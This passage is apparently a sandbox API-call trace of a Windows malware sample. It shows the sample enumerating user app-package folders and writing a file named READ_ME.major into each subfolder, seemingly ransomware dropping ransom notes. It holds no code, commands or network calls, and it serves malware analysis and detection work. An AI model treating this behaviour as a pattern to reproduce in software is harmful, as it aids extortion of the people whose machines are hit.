dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x85c [0182.144] WriteFile (in: hFile=0x85c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0182.145] CloseHandle (hObject=0x85c) returned 1 [0182.145] FindNextFileW (in: hFindFile=0x58e678, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e441dff, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e441dff, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7e441dff, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0182.145] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloItemPlayerApp_cw5n1h2txyewy\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holoitemplayerapp_cw5n1h2txyewy\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x85c [0182.146] WriteFile (in: hFile=0x85c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0182.147] CloseHandle (hObject=0x85c) returned 1 [0182.147] FindNextFileW (in: hFindFile=0x58e678, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e441dff, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e441dff, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7e441dff, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0182.147] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloItemPlayerApp_cw5n1h2txyewy\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holoitemplayerapp_cw5n1h2txyewy\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x85c [0182.148] WriteFile (in: hFile=0x85c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0182.149] CloseHandle (hObject=0x85c) returned 1 [0182.149] FindNextFileW (in: hFindFile=0x58e678, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e441dff, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e441dff, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7e441dff, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0182.149] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloItemPlayerApp_cw5n1h2txyewy\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holoitemplayerapp_cw5n1h2txyewy\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x85c [0182.150] WriteFile (in: hFile=0x85c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0182.151] CloseHandle (hObject=0x85c) returned 1 [0182.151] FindNextFileW (in: hFindFile=0x58e678, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21f0ffbe, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x21f0ffbe, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21f0ffbe, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0182.151] FindNextFileW (in: hFindFile=0x58e678, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e441dff, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e441dff, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7e441dff, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0182.151] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloItemPlayerApp_cw5n1h2txyewy\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holoitemplayerapp_cw5n1h2txyewy\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x85c [0182.151] WriteFile (in: hFile=0x85c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0182.152] CloseHandle (hObject=0x85c) returned 1 [0182.152] FindNextFileW (in: hFindFile=0x58e678, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e441dff, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e441dff, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7e441dff, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0182.153] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloItemPlayerApp_cw5n1h2txyewy\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holoitemplayerapp_cw5n1h2txyewy\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x85c [0182.153] WriteFile (in: hFile=0x85c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0182.154] CloseHandle (hObject=0x85c) returned 1 [0182.154] FindNextFileW (in: hFindFile=0x58e678, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e441dff, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e441dff, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7e441dff, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0182.154] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloItemPlayerApp_cw5n1h2txyewy\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holoitemplayerapp_cw5n1h2txyewy\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x85c [0182.154] WriteFile (in: hFile=0x85c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0182.155] CloseHandle (hObject=0x85c) returned 1 [0182.155] FindNextFileW (in: hFindFile=0x58e678, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e441dff, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e441dff, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7e441dff, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0182.156] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloItemPlayerApp_cw5n1h2txyewy\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holoitemplayerapp_cw5n1h2txyewy\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x85c [0182.156] WriteFile (in: hFile=0x85c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0182.157] CloseHandle (hObject=0x85c) returned 1 [0182.157] FindNextFileW (in: hFindFile=0x58e678, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e441dff, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e441dff, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7e441dff, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0182.157] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloShell_cw5n1h2txyewy\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ed0c8e8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7ed0c8e8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x21fa890b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x58e638 [0182.158] FindNextFileW (in: hFindFile=0x58e638, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ed0c8e8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7ed0c8e8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x21fa890b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0182.158] FindNextFileW (in: hFindFile=0x58e638, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ed0c8e8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7ed0c8e8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7ed0c8e8, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0182.158] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloShell_cw5n1h2txyewy\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holoshell_cw5n1h2txyewy\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x860 [0182.159] WriteFile (in: hFile=0x860, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0182.160] CloseHandle (hObject=0x860) returned 1 [0182.160] FindNextFileW (in: hFindFile=0x58e638, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ed0c8e8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7ed0c8e8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7ed0c8e8, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0182.160] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloShell_cw5n1h2txyewy\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holoshell_cw5n1h2txyewy\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x860 [0182.161] WriteFile (in: hFile=0x860, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0182.162] CloseHandle (hObject=0x860) returned 1 [0182.162] FindNextFileW (in: hFindFile=0x58e638, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ed0c8e8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7ed0c8e8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7ed0c8e8, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0182.162] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloShell_cw5n1h2txyewy\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holoshell_cw5n1h2txyewy\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x860 [0182.163] WriteFile (in: hFile=0x860, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0182.163] CloseHandle (hObject=0x860) returned 1 [0182.164] FindNextFileW (in: hFindFile=0x58e638, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ed0c8e8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7ed0c8e8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7ed0c8e8, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0182.164] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloShell_cw5n1h2txyewy\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holoshell_cw5n1h2txyewy\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x860 [0182.164] WriteFile (in: hFile=0x860, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0182.165] CloseHandle (hObject=0x860) returned 1 [0182.165] FindNextFileW (in: hFindFile=0x58e638, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21fa890b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x21fa890b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21fcebd4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0182.165] FindNextFileW (in: hFindFile=0x58e638, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ed0c8e8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7ed0c8e8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7ed0c8e8, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0182.165] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloShell_cw5n1h2txyewy\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holoshell_cw5n1h2txyewy\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x860 [0182.170] WriteFile (in: hFile=0x860, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0182.171] CloseHandle (hObject=0x860) returned 1 [0182.171] FindNextFileW (in: hFindFile=0x58e638, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ed0c8e8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7ed0c8e8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7ed0c8e8, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0182.171] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloShell_cw5n1h2txyewy\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holoshell_cw5n1h2txyewy\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x860 [0182.172] WriteFile (in: hFile=0x860, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0182.173] CloseHandle (hObject=0x860) returned 1 [0182.173] FindNextFileW (in: hFindFile=0x58e638, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ed0c8e8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7ed0c8e8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7ed0c8e8, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0182.173] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloShell_cw5n1h2txyewy\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holoshell_cw5n1h2txyewy\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x860 [0182.173] WriteFile (in: hFile=0x860, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0182.174] CloseHandle (hObject=0x860) returned 1 [0182.174] FindNextFileW (in: hFindFile=0x58e638, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ed0c8e8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7ed0c8e8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7ed0c8e8, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0182.174] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloShell_cw5n1h2txyewy\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holoshell_cw5n1h2txyewy\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x860 [0182.175] WriteFile (in: hFile=0x860, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0182.176] CloseHandle (hObject=0x860) returned 1 [0182.176] FindNextFileW (in: hFindFile=0x58e638, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ed0c8e8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7ed0c8e8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7ed0c8e8, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0182.176] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.3DBuilder_8wekyb3d8bbwe\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50830815, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12383999, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x21fcebd4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x58e6b8 [0182.177] FindNextFileW (in: hFindFile=0x58e6b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50830815, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12383999, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x21fcebd4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0182.177] FindNextFileW (in: hFindFile=0x58e6b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50a206ba, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x30cf4720, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x30cf4720, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0182.177] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.3DBuilder_8wekyb3d8bbwe\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.3dbuilder_8wekyb3d8bbwe\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x864 [0182.280] WriteFile (in: hFile=0x864, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0182.280] CloseHandle (hObject=0x864) returned 1 [0182.280] FindNextFileW (in: hFindFile=0x58e6b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x509d4298, ftCreationTime.dwHighDateTime=0x1d32715, 